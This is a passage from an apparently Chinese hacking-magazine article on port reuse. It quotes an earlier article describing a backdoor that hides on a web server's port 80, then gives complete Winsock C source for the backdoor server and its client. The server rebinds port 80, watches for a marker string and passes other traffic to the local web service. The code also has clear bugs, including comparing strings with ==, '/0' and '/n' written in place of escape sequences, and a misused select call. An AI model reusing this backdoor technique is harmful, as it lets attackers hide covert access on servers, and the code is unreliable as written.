这一切要从黑防第三期说起,第三期中llikz写了一篇《轻松编写端口重定向程序》,这篇文章中写出了端口重定向的思路,不过看了这篇文章后发现这篇文章其实在开头这么一段其实是有错误的,这段内容如下:
讲了复用的基本原理和重绑定函数后,这里我就以后门程序复用web服务的80端口做例子来为大家讲解端口复用技术,基本实现过程是这样的,后门程序对80端口进行监听,接收到数据后对数据进行分析,如果是自己的数据包则后门程序自己进行处理,如果不是则把数据转发到127.0.0.1地址的80端口上供本地 web服务使用
代码如下:
服务端:
//服务器 #include "winsock.h" #include "windows.h" #include "stdio.h" #include "stdlib.h" #include "string.h" #pragma comment(lib,"wsock32.lib") #define RECV_PORT 80 SOCKET sock,sock1; sockaddr_in ServerAddr; sockaddr_in ClientAddr; BOOL val; DWORD StartSock()//初始化 { WSADATA WSAData; if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0) { printf("socket初始化失败!/n"); return(-1); } sock=socket(AF_INET,SOCK_STREAM,0); if(sock==SOCKET_ERROR) { printf("socket创建失败!/n"); WSACleanup(); return(-1); } ServerAddr.sin_family=AF_INET; ServerAddr.sin_addr.s_addr=inet_addr("10.10.2.68");//或者htonl(INADDR_ANY);本地对外ip ServerAddr.sin_port=htons(RECV_PORT); val=TRUE; if(setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)//设置socket选项用来重绑定端口 { printf("设置socket选项错误!/n"); return(-1); } if(bind(sock,(struct sockaddr FAR *)&ServerAddr,sizeof(ServerAddr))==SOCKET_ERROR)//绑定端口 { printf("socket绑定失败!"); return(-1); } return(1); } struct SOCKSTRUCT { SOCKET *lsock; SOCKET *csock; }; LPTHREAD_START_ROUTINE talk(LPVOID lparam)//转发和判断处理数据线程,呵呵这里就用llikz的select方法来管理端口转发,忘了select用法的朋友参见llikz的文章 { struct SOCKSTRUCT *conn=(struct SOCKSTRUCT *)lparam; while(1) { fd_set fdr; FD_ZERO(&fdr); FD_SET(*(conn->csock),&fdr); FD_SET(*(conn->lsock),&fdr); int ret=select(*(conn->lsock)+2,&fdr,NULL,NULL,NULL); if(ret==-1) return(0); if(FD_ISSET(*(conn->lsock),&fdr)) { char buffer[20000]; int len=recv(*(conn->lsock),buffer,1024,0); if(len==-1) { printf("error/n"); } buffer[len]='/0'; printf(buffer); if(buffer=="qingwa")//这里进行判断是否是自己的数据,这里我随便用一个代替,读者可以自己设定自己的判别标志. { //后门处理数据 printf("成功接收"); } else send(*(conn->csock),buffer,len,0);//不是则转发到127.0.0.1上 } } return(0); } DWORD ConnectProcess() { if(StartSock()==-1) return(-1); int Addrlen; Addrlen=sizeof(sockaddr_in); if(listen(sock,5)<0) { printf("监听失败!"); return(-1); } printf("监听中...../n"); fd_set fdr; FD_ZERO(&fdr); FD_SET(sock,&fdr); int ret=select(sock+1,&fdr,NULL,NULL,NULL); if(ret==-1) return(-1); if(ret==1) { sock1=accept(sock,(struct sockaddr FAR *)&ClientAddr,&Addrlen); SOCKET csock=socket(AF_INET,SOCK_STREAM,0); struct sockaddr_in lc; lc.sin_family=AF_INET; lc.sin_port=htons(RECV_PORT); lc.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");//应用程序或进程工作地址 if(setsockopt(sock1,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)//套接字sock1接收超时时处理 { ret = GetLastError(); return (-1); } if(setsockopt(csock,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)//套接字csock接收超时处理 { ret = GetLastError(); return(-1); } if(connect(csock,(struct sockaddr *)&lc,sizeof(lc))==SOCKET_ERROR) return(-1); struct SOCKSTRUCT twosock; twosock.csock=&csock; twosock.lsock=&sock1; HANDLE hthread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)talk,(LPVOID)&twosock,0,NULL); WaitForSingleObject(hthread,INFINITE); CloseHandle(hthread); } WSACleanup(); return(1); } int main() { if(ConnectProcess()==-1) return(-1); return(1); }
//客户端: #include "winsock.h" #include "windows.h" #include "stdio.h" #include "stdlib.h" #include "string.h" #pragma comment(lib,"wsock32.lib") #define RECV_PORT 80 SOCKET sock; sockaddr_in ServerAddr; DWORD StartSock()//初始化 { WSADATA WSAData; if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0) { printf("socket初始化失败!/n"); return(-1); } ServerAddr.sin_family=AF_INET; ServerAddr.sin_addr.s_addr=inet_addr("10.10.2.68"); ServerAddr.sin_port=htons(RECV_PORT); return(1); } DWORD CreateSocket()//创建套接字 { sock=socket(AF_INET,SOCK_STREAM,0); if(sock==SOCKET_ERROR) { printf("创建套接字失败!/n"); WSACleanup(); return(-1); } return(1); } DWORD CallServer()//连接服务端 { CreateSocket(); if(connect(sock,(struct sockaddr *)&ServerAddr,sizeof(ServerAddr))==SOCKET_ERROR) { printf("连接失败!/n"); closesocket(sock); return(-1); } return(1); } DWORD TCPSend(char data[],int datalen)发送数据 { int length=send(sock,data,datalen,0); if(length<=0) { printf("发送错误!/n"); closesocket(sock); WSACleanup(); return(-1); } return(1); } int main() { char buff[1024]; int bufflen; memset(buff,0,strlen(buff)); scanf("%s",&buff); bufflen=sizeof(buff); StartSock(); if(CallServer()==-1) return(-1); if(TCPSend(buff,bufflen)==-1) { printf("错误/n"); return(-1); } Sleep(100); closesocket(sock); return(1); }